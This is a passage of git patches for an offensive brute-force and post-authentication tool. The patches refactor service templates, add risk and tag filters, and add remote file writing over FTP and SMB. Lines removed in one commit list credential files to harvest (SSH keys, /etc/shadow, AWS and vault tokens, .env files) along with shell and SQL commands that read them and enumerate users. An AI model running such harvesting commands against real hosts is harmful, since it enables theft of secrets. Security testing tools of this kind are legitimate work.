- if err != nil { - t.Fatalf("NewServiceAction failed: %v", err) - } + a := loadAndCreateServiceAction(t, dir) session := &mockShellSession{ files: map[string][]byte{ "detect-os": []byte("Linux\n"), @@ -400,10 +410,7 @@ services: os.WriteFile(filepath.Join(dir, "entry.yaml"), []byte(root), 0644) os.WriteFile(filepath.Join(dir, "helper.yaml"), []byte(helper), 0644) - a, err := NewServiceAction([]string{dir}, nil) - if err != nil { - t.Fatalf("NewServiceAction: %v", err) - } + a := loadAndCreateServiceAction(t, dir) session := &mockShellSession{ files: map[string][]byte{ "echo entry": []byte("entry\n"), @@ -477,10 +484,7 @@ services: os.WriteFile(filepath.Join(dir, "root.yaml"), []byte(root), 0644) os.WriteFile(filepath.Join(dir, "mysql.yaml"), []byte(mysqlOnly), 0644) - a, err := NewServiceAction([]string{dir}, nil) - if err != nil { - t.Fatalf("NewServiceAction: %v", err) - } + a := loadAndCreateServiceAction(t, dir) // session is SSH, so mysql-only should be skipped session := &mockShellSession{ files: map[string][]byte{ @@ -567,10 +571,7 @@ services: os.WriteFile(filepath.Join(dir, "gate.yaml"), []byte(gate), 0644) os.WriteFile(filepath.Join(dir, "after.yaml"), []byte(afterGate), 0644) - a, err := NewServiceAction([]string{dir}, nil) - if err != nil { - t.Fatalf("NewServiceAction: %v", err) - } + a := loadAndCreateServiceAction(t, dir) session := &mockShellSession{ files: map[string][]byte{ "echo entry": []byte("entry\n"), @@ -653,10 +654,7 @@ services: os.WriteFile(filepath.Join(dir, "a.yaml"), []byte(branchA), 0644) os.WriteFile(filepath.Join(dir, "b.yaml"), []byte(branchB), 0644) - a, err := NewServiceAction([]string{dir}, nil) - if err != nil { - t.Fatalf("NewServiceAction: %v", err) - } + a := loadAndCreateServiceAction(t, dir) session := &mockShellSession{ files: map[string][]byte{ "echo root": []byte("root\n"), diff --git a/action/service.go b/action/service.go index 4ea359b..d5c19c4 100644 --- a/action/service.go +++ b/action/service.go @@ -20,18 +20,11 @@ type ServiceAction struct { chain *templates.ChainExecutor vars map[string]interface{} payloads map[string]interface{} + risk string + tags []string } -func NewServiceAction(templatePaths []string, vars map[string]interface{}, payloads ...map[string]interface{}) (*ServiceAction, error) { - execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} - var loaded []*service.Template - for _, p := range templatePaths { - tmpls, err := loadServiceTemplatesFromPath(p, execOpts) - if err != nil { - return nil, fmt.Errorf("load service templates from %s: %w", p, err) - } - loaded = append(loaded, tmpls...) - } +func NewServiceAction(loaded []*service.Template, vars map[string]interface{}, payloads ...map[string]interface{}) (*ServiceAction, error) { if len(loaded) == 0 { return nil, fmt.Errorf("no service templates loaded") } @@ -51,9 +44,17 @@ func NewServiceAction(templatePaths []string, vars map[string]interface{}, paylo cliPayloads = payloads[0] } - return &ServiceAction{index: index, chain: chain, vars: vars, payloads: cliPayloads}, nil + return &ServiceAction{ + index: index, + chain: chain, + vars: vars, + payloads: cliPayloads, + }, nil } +func (a *ServiceAction) SetRisk(risk string) { a.risk = risk } +func (a *ServiceAction) SetTags(tags []string) { a.tags = tags } + func (a *ServiceAction) Name() string { return "service" } func (a *ServiceAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionResult, error) { @@ -66,6 +67,12 @@ func (a *ServiceAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionRes if !ok || !tmpl.Match(svc) { return nil } + if !tmpl.RiskAllowed(a.risk) { + return nil + } + if len(a.tags) > 0 && !a.matchTags(tmpl) { + return nil + } mergedVars := copyVars(a.vars) for k, v := range vars { @@ -113,6 +120,15 @@ func (a *ServiceAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionRes return result, nil } +func (a *ServiceAction) matchTags(tmpl *service.Template) bool { + for _, tag := range a.tags { + if tmpl.HasTag(tag) { + return true + } + } + return false +} + func copyVars(src map[string]interface{}) map[string]interface{} { if src == nil { return make(map[string]interface{}) @@ -124,6 +140,19 @@ func copyVars(src map[string]interface{}) map[string]interface{} { return dst } +func LoadServiceTemplatesFromPaths(paths []string) ([]*service.Template, error) { + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var all []*service.Template + for _, p := range paths { + tmpls, err := loadServiceTemplatesFromPath(p, execOpts) + if err != nil { + return nil, fmt.Errorf("load service templates from %s: %w", p, err) + } + all = append(all, tmpls...) + } + return all, nil +} + func loadServiceTemplatesFromPath(path string, execOpts *protocols.ExecuterOptions) ([]*service.Template, error) { info, err := os.Stat(path) if err != nil { @@ -156,11 +185,15 @@ func loadServiceTemplateFile(path string, execOpts *protocols.ExecuterOptions) ( if err != nil { return nil, err } + return loadServiceTemplateBytes(data, execOpts) +} + +func loadServiceTemplateBytes(data []byte, execOpts *protocols.ExecuterOptions) ([]*service.Template, error) { var tmpl service.Template if err := yaml.Unmarshal(data, &tmpl); err != nil { return nil, err } - if len(tmpl.Services) == 0 { + if len(tmpl.Services) == 0 && len(tmpl.RequestsHTTP) == 0 && len(tmpl.RequestsNetwork) == 0 { return nil, nil } if err := tmpl.Compile(execOpts); err != nil { @@ -168,3 +201,27 @@ func loadServiceTemplateFile(path string, execOpts *protocols.ExecuterOptions) ( } return []*service.Template{&tmpl}, nil } + +func LoadServiceTemplatesFromData(data []byte) ([]*service.Template, error) { + if len(data) == 0 { + return nil, nil + } + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var list []service.Template + if err := yaml.Unmarshal(data, &list); err != nil { + return loadServiceTemplateBytes(data, execOpts) + } + var all []*service.Template + for i := range list { + tmpl := &list[i] + if len(tmpl.Services) == 0 && len(tmpl.RequestsHTTP) == 0 && len(tmpl.RequestsNetwork) == 0 { + continue + } + if err := tmpl.Compile(execOpts); err != nil { + logs.Log.Debugf("[service] skip embedded template %s: %v", tmpl.Id, err) + continue + } + all = append(all, tmpl) + } + return all, nil +} diff --git a/core/options.go b/core/options.go index afe73c1..9e38a34 100644 --- a/core/options.go +++ b/core/options.go @@ -75,6 +75,9 @@ type ActionOptions struct { ServiceTemplates []string `long:"service-template" description:"service protocol template file or directory for post-auth exploitation"` ServiceVars []string `short:"V" long:"var" description:"custom service-template variables in key=value format"` ServicePayloads []string `long:"payload" description:"custom service-template payloads in key=value format; repeat key for multiple values"` + Gather bool `long:"gather" description:"post-auth: run built-in service templates for info gathering (tag=gather)"` + Risk string `long:"risk" description:"filter service templates by max risk level (safe/dangerous/critical)"` + Tags []string `long:"tags" description:"filter service templates by tags"` } func (opt *Option) Validate() error { @@ -148,6 +151,9 @@ func (opt *Option) Prepare() (*Runner, error) { ServiceTemplates: opt.ServiceTemplates, ServiceVars: serviceVars, ServicePayloads: servicePayloads, + Gather: opt.Gather, + Risk: opt.Risk, + Tags: opt.Tags, } runner := NewRunner(runnerOpt) diff --git a/core/runner.go b/core/runner.go index e71625a..3d8c740 100644 --- a/core/runner.go +++ b/core/runner.go @@ -15,6 +15,7 @@ import ( "github.com/chainreactors/zombie/action" "github.com/chainreactors/zombie/pkg" "github.com/chainreactors/zombie/plugin" + "github.com/chainreactors/zombie/service" "github.com/panjf2000/ants/v2" ) @@ -115,11 +116,35 @@ func (r *Runner) BuildPipeline() error { } r.Pipeline = append(r.Pipeline, postAction) } + + var serviceTemplates []*service.Template + if r.Gather { + embedded, err := action.LoadServiceTemplatesFromData(pkg.ServiceTemplateData) + if err != nil { + return fmt.Errorf("failed to load embedded service templates: %w", err) + } + serviceTemplates = append(serviceTemplates, embedded...) + } if len(r.ServiceTemplates) > 0 { - serviceAction, err := action.NewServiceAction(r.ServiceTemplates, r.ServiceVars, r.ServicePayloads) + fromPaths, err := action.LoadServiceTemplatesFromPaths(r.ServiceTemplates) + if err != nil { + return fmt.Errorf("failed to load service templates: %w", err) + } + serviceTemplates = append(serviceTemplates, fromPaths...) + } + if len(serviceTemplates) > 0 { + serviceAction, err := action.NewServiceAction(serviceTemplates, r.ServiceVars, r.ServicePayloads) if err != nil { return fmt.Errorf("failed to init service action: %w", err) } + if r.Risk != "" { + serviceAction.SetRisk(r.Risk) + } + if r.Gather && len(r.Tags) == 0 { + serviceAction.SetTags([]string{"gather"}) + } else if len(r.Tags) > 0 { + serviceAction.SetTags(r.Tags) + } r.Pipeline = append(r.Pipeline, serviceAction) } return nil diff --git a/core/runner_option.go b/core/runner_option.go index 85fb4c3..ca0d8f1 100644 --- a/core/runner_option.go +++ b/core/runner_option.go @@ -22,6 +22,9 @@ type RunnerOption struct { ServiceTemplates []string ServiceVars map[string]interface{} ServicePayloads map[string]interface{} + Gather bool + Risk string + Tags []string // ProxyDial 非 nil 时透传到每个 Task,使插件通过代理建立连接。 ProxyDial pkg.DialFunc diff --git a/pkg/loader.go b/pkg/loader.go index 650a734..92bfb45 100644 --- a/pkg/loader.go +++ b/pkg/loader.go @@ -13,10 +13,11 @@ import ( ) var ( - Rules map[string]string = make(map[string]string) - Keywords map[string][]string = make(map[string][]string) - TemplateMap map[string]*templates.Template = make(map[string]*templates.Template) - FingersEngine *fingers.FingersEngine + Rules map[string]string = make(map[string]string) + Keywords map[string][]string = make(map[string][]string) + TemplateMap map[string]*templates.Template = make(map[string]*templates.Template) + ServiceTemplateData []byte + FingersEngine *fingers.FingersEngine ) func Load() error { @@ -108,6 +109,11 @@ func LoadTemplates() error { return nil } +func LoadServiceTemplates() error { + ServiceTemplateData = LoadConfig("zombie_service") + return nil +} + func LoadPorts() error { var ports []*utils.PortConfig content := LoadConfig("port") diff --git a/pkg/resource_provider.go b/pkg/resource_provider.go index 09bb538..7b0b420 100644 --- a/pkg/resource_provider.go +++ b/pkg/resource_provider.go @@ -58,6 +58,9 @@ func defaultLoad() error { if err := LoadTemplates(); err != nil { return err } + if err := LoadServiceTemplates(); err != nil { + return err + } return LoadFingers() } diff --git a/pkg/session.go b/pkg/session.go index e9157dd..fd1a175 100644 --- a/pkg/session.go +++ b/pkg/session.go @@ -27,6 +27,7 @@ type FileSession interface { Session List(path string) ([]string, error) Read(path string) ([]byte, error) + Write(path string, data []byte) error } type DirectorySession interface { diff --git a/plugin/ftp/ftp.go b/plugin/ftp/ftp.go index 2efe60b..ed23dc4 100644 --- a/plugin/ftp/ftp.go +++ b/plugin/ftp/ftp.go @@ -1,6 +1,7 @@ package ftp import ( + "bytes" "io" "github.com/chainreactors/zombie/pkg" @@ -44,6 +45,10 @@ func (s *ftpSession) Read(path string) ([]byte, error) { return io.ReadAll(resp) } +func (s *ftpSession) Write(path string, data []byte) error { + return s.conn.Stor(path, bytes.NewReader(data)) +} + // FtpPlugin is stateless; all connection state lives in ftpSession. type FtpPlugin struct{} diff --git a/plugin/smb/smb.go b/plugin/smb/smb.go index 6fb5885..2cdac02 100644 --- a/plugin/smb/smb.go +++ b/plugin/smb/smb.go @@ -89,6 +89,19 @@ func (s *smbSession) Read(path string) ([]byte, error) { return io.ReadAll(f) } +func (s *smbSession) Write(path string, data []byte) error { + share, rel := parseSharePath(path) + if share == "" || rel == "" { + return fmt.Errorf("path must include share and file: %q", path) + } + mount, err := s.conn.Mount(share) + if err != nil { + return fmt.Errorf("mount %q: %w", share, err) + } + defer mount.Umount() + return mount.WriteFile(rel, data, 0644) +} + // SmbPlugin is stateless; all connection state lives in smbSession. type SmbPlugin struct{} diff --git a/service/execute.go b/service/execute.go index fceac6b..46fc170 100644 --- a/service/execute.go +++ b/service/execute.go @@ -167,6 +167,8 @@ func evaluateOp(op *Op, values map[string]interface{}) *Op { f := *op.File f.List = evaluateField(op.File.List, values) f.Read = evaluateField(op.File.Read, values) + f.Write = evaluateField(op.File.Write, values) + f.Data = evaluateField(op.File.Data, values) evaluated.File = &f } if op.LDAP != nil { @@ -402,8 +404,13 @@ func execFile(session pkg.Session, op *FileOp) (string, error) { case op.Read != "": data, err := fs.Read(op.Read) return string(data), err + case op.Write != "": + if err := fs.Write(op.Write, []byte(op.Data)); err != nil { + return "", err + } + return "OK", nil default: - return "", fmt.Errorf("file op: set list or read") + return "", fmt.Errorf("file op: set list, read, or write") } } diff --git a/service/service.go b/service/service.go index f40946b..5365d00 100644 --- a/service/service.go +++ b/service/service.go @@ -58,8 +58,10 @@ type Op struct { // FileOp specifies a file session operation. Set exactly one field. type FileOp struct { - List string `json:"list,omitempty" yaml:"list,omitempty"` - Read string `json:"read,omitempty" yaml:"read,omitempty"` + List string `json:"list,omitempty" yaml:"list,omitempty"` + Read string `json:"read,omitempty" yaml:"read,omitempty"` + Write string `json:"write,omitempty" yaml:"write,omitempty"` + Data string `json:"data,omitempty" yaml:"data,omitempty"` } // LDAPOp specifies an LDAP search operation. diff --git a/service/template.go b/service/template.go index 976fc78..7f84db5 100644 --- a/service/template.go +++ b/service/template.go @@ -8,23 +8,32 @@ import ( "github.com/chainreactors/neutron/common" "github.com/chainreactors/neutron/operators" "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/neutron/protocols/http" + "github.com/chainreactors/neutron/protocols/network" "github.com/chainreactors/zombie/pkg" ) +type Info struct { + Name string `json:"name" yaml:"name"` + Severity string `json:"severity" yaml:"severity"` + Description string `json:"description,omitempty" yaml:"description,omitempty"` + Tags string `json:"tags,omitempty" yaml:"tags,omitempty"` + Risk string `json:"risk,omitempty" yaml:"risk,omitempty"` // safe / dangerous / critical +} + type Template struct { Id string `json:"id" yaml:"id"` Service []string `json:"service" yaml:"service"` Chains []string `json:"chain,omitempty" yaml:"chain,omitempty"` Variables map[string]interface{} `json:"variables,omitempty" yaml:"variables,omitempty"` - Info struct { - Name string `json:"name" yaml:"name"` - Severity string `json:"severity" yaml:"severity"` - Description string `json:"description,omitempty" yaml:"description,omitempty"` - Tags string `json:"tags,omitempty" yaml:"tags,omitempty"` - } `json:"info" yaml:"info"` - - Services []*Request `json:"services" yaml:"services"` - TotalRequests int `json:"-" yaml:"-"` + Info Info `json:"info" yaml:"info"` + + Services []*Request `json:"services,omitempty" yaml:"services,omitempty"` + RequestsHTTP []*http.Request `json:"http,omitempty" yaml:"http,omitempty"` + RequestsNetwork []*network.Request `json:"network,omitempty" yaml:"network,omitempty"` + + TotalRequests int `json:"-" yaml:"-"` + allRequests []protocols.Request `json:"-" yaml:"-"` } func (t *Template) Match(serviceName string) bool { @@ -39,10 +48,39 @@ func (t *Template) Match(serviceName string) bool { return false } +func (t *Template) HasTag(tag string) bool { + if t.Info.Tags == "" { + return false + } + for _, t := range strings.Split(t.Info.Tags, ",") { + if strings.TrimSpace(t) == tag { + return true + } + } + return false +} + +var riskLevels = map[string]int{"safe": 0, "dangerous": 1, "critical": 2} + +func (t *Template) RiskAllowed(maxRisk string) bool { + if maxRisk == "" || t.Info.Risk == "" { + return true + } + max, ok1 := riskLevels[maxRisk] + cur, ok2 := riskLevels[t.Info.Risk] + if !ok1 || !ok2 { + return true + } + return cur <= max +} + func (t *Template) Compile(options *protocols.ExecuterOptions) error { if options == nil { options = &protocols.ExecuterOptions{Options: &protocols.Options{}} } + + t.allRequests = nil + for _, req := range t.Services { if len(req.Payloads) > 0 { attack := req.AttackType @@ -56,10 +94,28 @@ func (t *Template) Compile(options *protocols.ExecuterOptions) error { if err := req.Compile(options); err != nil { return err } + t.allRequests = append(t.allRequests, req) } - t.TotalRequests = len(t.Services) - if t.TotalRequests == 0 { - return fmt.Errorf("no service requests defined in template %s", t.Id) + + for _, req := range t.RequestsHTTP { + if err := req.Compile(options); err != nil { + return err + } + t.allRequests = append(t.allRequests, req) + } + for _, req := range t.RequestsNetwork { + if err := req.Compile(options); err != nil { + return err + } + t.allRequests = append(t.allRequests, req) + } + + if len(t.allRequests) == 0 { + return fmt.Errorf("no requests defined in template %s", t.Id) + } + t.TotalRequests = 0 + for _, req := range t.allRequests { + t.TotalRequests += req.Requests() } return nil } @@ -86,21 +142,22 @@ func (t *Template) ExecuteWithOptions(session pkg.Session, host string, cliVars, scanCtx.GlobalVars = t.executionVariables(host, cliVars) var merged *operators.Result + previous := make(map[string]interface{}) dynamicValues := copyMap(scanCtx.GlobalVars) + for k, v := range scanCtx.Payloads { + dynamicValues[k] = v + } + requestIndexOffset := 0 - for _, req := range t.Services { - err := req.ExecuteWithResults(scanCtx, dynamicValues, nil, func(event *protocols.InternalWrappedEvent) { + for _, req := range t.allRequests { + dynamicValues["__request_index_offset"] = requestIndexOffset + err := req.ExecuteWithResults(scanCtx, dynamicValues, previous, func(event *protocols.InternalWrappedEvent) { if event.OperatorsResult == nil { return } - if len(event.OperatorsResult.DynamicValues) > 0 { - if dynamicValues == nil { - dynamicValues = make(map[string]interface{}) - } - for k, v := range event.OperatorsResult.DynamicValues { - if len(v) > 0 { - dynamicValues[k] = v[0] - } + for k, v := range event.OperatorsResult.DynamicValues { + if len(v) > 0 { + dynamicValues[k] = v[0] } } if !event.OperatorsResult.Matched && !event.OperatorsResult.Extracted { @@ -115,6 +172,7 @@ func (t *Template) ExecuteWithOptions(session pkg.Session, host string, cliVars, if err != nil { return nil, err } + requestIndexOffset += req.Requests() } if merged == nil { @@ -123,6 +181,28 @@ func (t *Template) ExecuteWithOptions(session pkg.Session, host string, cliVars, return merged, nil } +func mergeResult(dst, src *operators.Result) { + if src.Matched { + dst.Matched = true + } + if src.Extracted { + dst.Extracted = true + } + for k, v := range src.Matches { + if dst.Matches == nil { + dst.Matches = make(map[string][]string) + } + dst.Matches[k] = append(dst.Matches[k], v...) + } + for k, v := range src.Extracts { + if dst.Extracts == nil { + dst.Extracts = make(map[string][]string) + } + dst.Extracts[k] = append(dst.Extracts[k], v...) + } + dst.OutputExtracts = append(dst.OutputExtracts, src.OutputExtracts...) +} + func (t *Template) executionVariables(host string, cliVars map[string]interface{}) map[string]interface{} { vars := serviceTargetVariables(host) for k, v := range t.Variables { @@ -168,24 +248,3 @@ func copyMap(values map[string]interface{}) map[string]interface{} { return copied } -func mergeResult(dst, src *operators.Result) { - if src.Matched { - dst.Matched = true - } - if src.Extracted { - dst.Extracted = true - } - for k, v := range src.Matches { - if dst.Matches == nil { - dst.Matches = make(map[string][]string) - } - dst.Matches[k] = append(dst.Matches[k], v...) - } - for k, v := range src.Extracts { - if dst.Extracts == nil { - dst.Extracts = make(map[string][]string) - } - dst.Extracts[k] = append(dst.Extracts[k], v...) - } - dst.OutputExtracts = append(dst.OutputExtracts, src.OutputExtracts...) -} diff --git a/templates b/templates index 7d5675c..20b62a6 160000 --- a/templates +++ b/templates @@ -1 +1 @@ -Subproject commit 7d5675ccab5a4923f23f18fa0d8005e679197797 +Subproject commit 20b62a61a9cfb9cac11c50f99bc49ae223cda39f From febc74b6ee987aad014269a46eece4ca0fd9a1f7 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 09:37:16 -0700 Subject: [PATCH 11/18] refactor: remove hardcoded info gathering from PostAction, delegate to service templates MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PostAction no longer collects data from sessions (credentialColumns, shellScanPaths, shellGatherCmds, per-protocol enumeration). All info gathering is now driven by service templates in templates/services/. PostAction retains only the proton scanner — called after pipeline execution to scan Loot produced by ServiceAction templates. - Remove postShell/postSQL/postKV/postFile and all hardcoded constants - PostAction.ScanData() replaces the private scanData method - worker.go feeds result.Loot to PostAction after pipeline completes - PostAction moved from Pipeline to Runner.PostAction field - Remove unused DBLimit option Co-Authored-By: Claude Opus 4.6 (1M context) --- action/action_test.go | 163 ++--------------------- action/post.go | 291 ++---------------------------------------- core/e2e_test.go | 14 +- core/options.go | 2 - core/panic_test.go | 18 +-- core/runner.go | 13 +- core/runner_option.go | 1 - core/worker.go | 27 ++-- 8 files changed, 61 insertions(+), 468 deletions(-) diff --git a/action/action_test.go b/action/action_test.go index e8361fe..1dcd181 100644 --- a/action/action_test.go +++ b/action/action_test.go @@ -99,6 +99,7 @@ func loadAndCreateServiceAction(t *testing.T, dir string) *ServiceAction { } a, err := NewServiceAction(tmpls, nil) if err != nil { + t.Fatalf("NewServiceAction: %v", err) } return a } @@ -147,19 +148,17 @@ file: func TestPostAction_ScanData(t *testing.T) { dir := createTestTemplate(t) - a, err := NewPostAction([]string{dir}, 100) + a, err := NewPostAction([]string{dir}) if err != nil { t.Fatalf("NewPostAction failed: %v", err) } - result := &pkg.ActionResult{} - a.scanData([]byte("password = hunter2\nclean line\n"), "test:label", result) - - if len(result.Extracteds) == 0 { + results := a.ScanData([]byte("password = hunter2\nclean line\n"), "test:label") + if len(results) == 0 { t.Fatal("should find password in test data") } found := false - for _, e := range result.Extracteds { + for _, e := range results { for _, v := range e.ExtractResult { if v == "hunter2" { found = true @@ -173,20 +172,18 @@ func TestPostAction_ScanData(t *testing.T) { func TestPostAction_GitHubToken(t *testing.T) { dir := createTestTemplate(t) - a, err := NewPostAction([]string{dir}, 100) + a, err := NewPostAction([]string{dir}) if err != nil { t.Fatalf("NewPostAction failed: %v", err) } token := "ghp_abcdefghijklmnopqrstuvwxyz1234567890" - result := &pkg.ActionResult{} - a.scanData([]byte("GITHUB_TOKEN="+token+"\n"), "test:github", result) - - if len(result.Extracteds) == 0 { + results := a.ScanData([]byte("GITHUB_TOKEN="+token+"\n"), "test:github") + if len(results) == 0 { t.Fatal("should find GitHub token") } found := false - for _, e := range result.Extracteds { + for _, e := range results { for _, v := range e.ExtractResult { if v == token { found = true @@ -198,116 +195,6 @@ func TestPostAction_GitHubToken(t *testing.T) { } } -func TestPostAction_Shell(t *testing.T) { - dir := createTestTemplate(t) - a, err := NewPostAction([]string{dir}, 100) - if err != nil { - t.Fatalf("NewPostAction failed: %v", err) - } - - session := &mockShellSession{ - files: map[string][]byte{ - "hostname": []byte("prodserver\n"), - "id": []byte("uid=0(root)\n"), - "~/.my.cnf": []byte("[client]\npassword = dbpass123\n"), - }, - } - - result, err := a.Run(session, mockTask()) - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - if len(result.Loot) == 0 { - t.Fatal("should produce loot") - } - - hasProtonFinding := false - for _, e := range result.Extracteds { - if containsSubstr(e.Name, "test-secret-scan") { - hasProtonFinding = true - } - } - if !hasProtonFinding { - t.Error("should have proton scan findings") - } -} - -func TestPostAction_SQL(t *testing.T) { - dir := createTestTemplate(t) - a, err := NewPostAction([]string{dir}, 100) - if err != nil { - t.Fatalf("NewPostAction failed: %v", err) - } - - session := &mockSQLSession{ - service: "mysql", - rows: map[string][][]string{ - "mysql.user": { - {"user", "host"}, - {"root", "localhost"}, - }, - }, - } - task := mockTask() - task.Service = "mysql" - task.Port = "3306" - - result, err := a.Run(session, task) - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - - foundDB := false - for _, e := range result.Extracteds { - if e.Name == "databases" { - foundDB = true - } - } - if !foundDB { - t.Error("should have extracted databases") - } -} - -func TestPostAction_KV(t *testing.T) { - dir := createTestTemplate(t) - a, err := NewPostAction([]string{dir}, 100) - if err != nil { - t.Fatalf("NewPostAction failed: %v", err) - } - - session := &mockKVSession{} - task := mockTask() - task.Service = "redis" - - result, err := a.Run(session, task) - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - if len(result.Extracteds) == 0 { - t.Fatal("should find GitHub token in Redis key") - } -} - -func TestPostAction_File(t *testing.T) { - dir := createTestTemplate(t) - a, err := NewPostAction([]string{dir}, 100) - if err != nil { - t.Fatalf("NewPostAction failed: %v", err) - } - - session := &mockFileSession{} - task := mockTask() - task.Service = "ftp" - - result, err := a.Run(session, task) - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - if len(result.Loot) == 0 { - t.Error("should collect .env as loot") - } -} - func TestServiceActionChain(t *testing.T) { dir := t.TempDir() root := `id: root-chain @@ -680,37 +567,15 @@ services: // --- Worker Integration Test --- -func TestWorkerExecute_WithPostAction(t *testing.T) { +func TestPostAction_ScanLoot(t *testing.T) { dir := createTestTemplate(t) - a, err := NewPostAction([]string{dir}, 100) + a, err := NewPostAction([]string{dir}) if err != nil { t.Fatalf("NewPostAction failed: %v", err) } - session := &mockShellSession{ - files: map[string][]byte{ - "hostname": []byte("testhost\n"), - "/etc/shadow": []byte("root:$6$hash:18000:0:99999:7:::\n"), - "~/.vault-token": []byte("s.abcdefghij1234567890\n"), - }, - } - - task := mockTask() - result := &pkg.Result{Task: task, OK: true} - - ar, err := a.Run(session, task) - if err != nil { - t.Fatalf("action failed: %v", err) + results := a.ScanData([]byte("[client]\npassword = dbpass123\n"), "ssh:10.0.0.1:22:~/.my.cnf") + if len(results) == 0 { + t.Fatal("should find password in loot data") } - result.Merge(ar) - - if !result.OK { - t.Fatal("result should be OK") - } - if len(result.Loot) == 0 { - t.Fatal("should have loot") - } - - t.Logf("Worker: %d extracteds, %d loot, %d action results", - len(result.Extracteds), len(result.Loot), len(result.ActionResults)) } diff --git a/action/post.go b/action/post.go index 9077302..866e4b9 100644 --- a/action/post.go +++ b/action/post.go @@ -6,7 +6,6 @@ import ( "path/filepath" "strings" - "github.com/chainreactors/logs" "github.com/chainreactors/neutron/protocols" "github.com/chainreactors/parsers" "github.com/chainreactors/proton/proton/file" @@ -15,45 +14,11 @@ import ( "gopkg.in/yaml.v3" ) -var credentialColumns = []string{ - "password", "passwd", "pwd", "pass", - "secret", "token", "api_key", "apikey", - "access_key", "private_key", "auth", - "credential", "connection_string", - "encryption_key", "client_secret", -} - -var shellScanPaths = []string{ - "~/.ssh/config", "~/.ssh/authorized_keys", - "~/.ssh/id_rsa", "~/.ssh/id_ecdsa", "~/.ssh/id_ed25519", - "~/.aws/credentials", "~/.aws/config", - "~/.docker/config.json", "~/.kube/config", - "/etc/shadow", "/etc/passwd", - "~/.bash_history", "~/.zsh_history", - "~/.my.cnf", "~/.pgpass", "~/.netrc", - "~/.git-credentials", "~/.vault-token", -} - -var shellGatherCmds = []struct { - Name string - Cmd string -}{ - {"whoami", "id 2>/dev/null"}, - {"hostname", "hostname 2>/dev/null"}, - {"uname", "uname -a 2>/dev/null"}, - {"netstat", "ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null"}, - {"env", "env 2>/dev/null"}, -} - type PostAction struct { scanner *file.Scanner - dbLimit int } -func NewPostAction(templatePaths []string, dbLimit int) (*PostAction, error) { - if dbLimit <= 0 { - dbLimit = 1000 - } +func NewPostAction(templatePaths []string) (*PostAction, error) { execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} var rules []file.Rule for _, p := range templatePaths { @@ -73,254 +38,20 @@ func NewPostAction(templatePaths []string, dbLimit int) (*PostAction, error) { if len(rules) == 0 { return nil, fmt.Errorf("no file rules in loaded templates") } - return &PostAction{ - scanner: file.NewScanner(rules, execOpts), - dbLimit: dbLimit, - }, nil + return &PostAction{scanner: file.NewScanner(rules, execOpts)}, nil } func (a *PostAction) Name() string { return "post" } func (a *PostAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionResult, error) { - if sh, ok := pkg.AsShell(session); ok { - return a.postShell(sh, task) - } - if sq, ok := pkg.AsSQL(session); ok { - return a.postSQL(sq, task) - } - if kv, ok := pkg.AsKV(session); ok { - return a.postKV(kv, task) - } - if fs, ok := pkg.AsFile(session); ok { - return a.postFile(fs, task) - } return nil, nil } -func (a *PostAction) postShell(sh pkg.ShellSession, task *pkg.Task) (*pkg.ActionResult, error) { - result := &pkg.ActionResult{Loot: make(map[string][]byte)} - - for _, c := range shellGatherCmds { - out, err := sh.Exec(c.Cmd) - if err != nil || len(out) == 0 { - if err != nil { - logs.Log.Debugf("[post] %s:%s cmd %q failed: %v", task.IP, task.Port, c.Cmd, err) - } - continue - } - label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, c.Name) - result.Loot[label] = out - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ - Name: c.Name, ExtractResult: []string{truncate(string(out), 500)}, - }) - } - - for _, path := range shellScanPaths { - data, err := sh.Exec(fmt.Sprintf("cat '%s' 2>/dev/null | head -c 1048576", path)) - if err != nil || len(data) == 0 { - if err != nil { - logs.Log.Debugf("[post] %s:%s read %s failed: %v", task.IP, task.Port, path, err) - } - continue - } - label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, path) - result.Loot[label] = data - a.scanData(data, label, result) - } - - envFiles, err := sh.Exec("find /home /opt /srv -maxdepth 3 -name '.env*' -type f 2>/dev/null") - if err == nil { - for _, p := range strings.Split(string(envFiles), "\n") { - p = strings.TrimSpace(p) - if p == "" { - continue - } - data, err := sh.Exec(fmt.Sprintf("cat '%s' 2>/dev/null | head -c 1048576", p)) - if err != nil || len(data) == 0 { - if err != nil { - logs.Log.Debugf("[post] %s:%s read %s failed: %v", task.IP, task.Port, p, err) - } - continue - } - label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, p) - result.Loot[label] = data - a.scanData(data, label, result) - } - } - - return result, nil -} - -func (a *PostAction) postSQL(sq pkg.SQLSession, task *pkg.Task) (*pkg.ActionResult, error) { - result := &pkg.ActionResult{} - - dbs, err := sq.Databases() - if err == nil && len(dbs) > 0 { - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ - Name: "databases", ExtractResult: dbs, - }) - } - - userQueries := map[string]string{ - "mysql": "SELECT user, host FROM mysql.user", - "postgresql": "SELECT usename FROM pg_catalog.pg_user", - "mssql": "SELECT name FROM sys.server_principals WHERE type IN ('S','U')", - } - if q, ok := userQueries[sq.Service()]; ok { - rows, err := sq.Query(q) - if err == nil && len(rows) > 1 { - var users []string - for i, row := range rows { - if i == 0 { - continue - } - users = append(users, strings.Join(row, "@")) - } - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ - Name: "users", ExtractResult: users, - }) - } - } - - columns, err := a.discoverCredentialColumns(sq) - if err == nil { - for _, col := range columns { - q := fmt.Sprintf("SELECT `%s` FROM `%s`.`%s` LIMIT %d", col.column, col.schema, col.table, a.dbLimit) - if sq.Service() == "postgresql" || sq.Service() == "mssql" { - q = fmt.Sprintf(`SELECT "%s" FROM 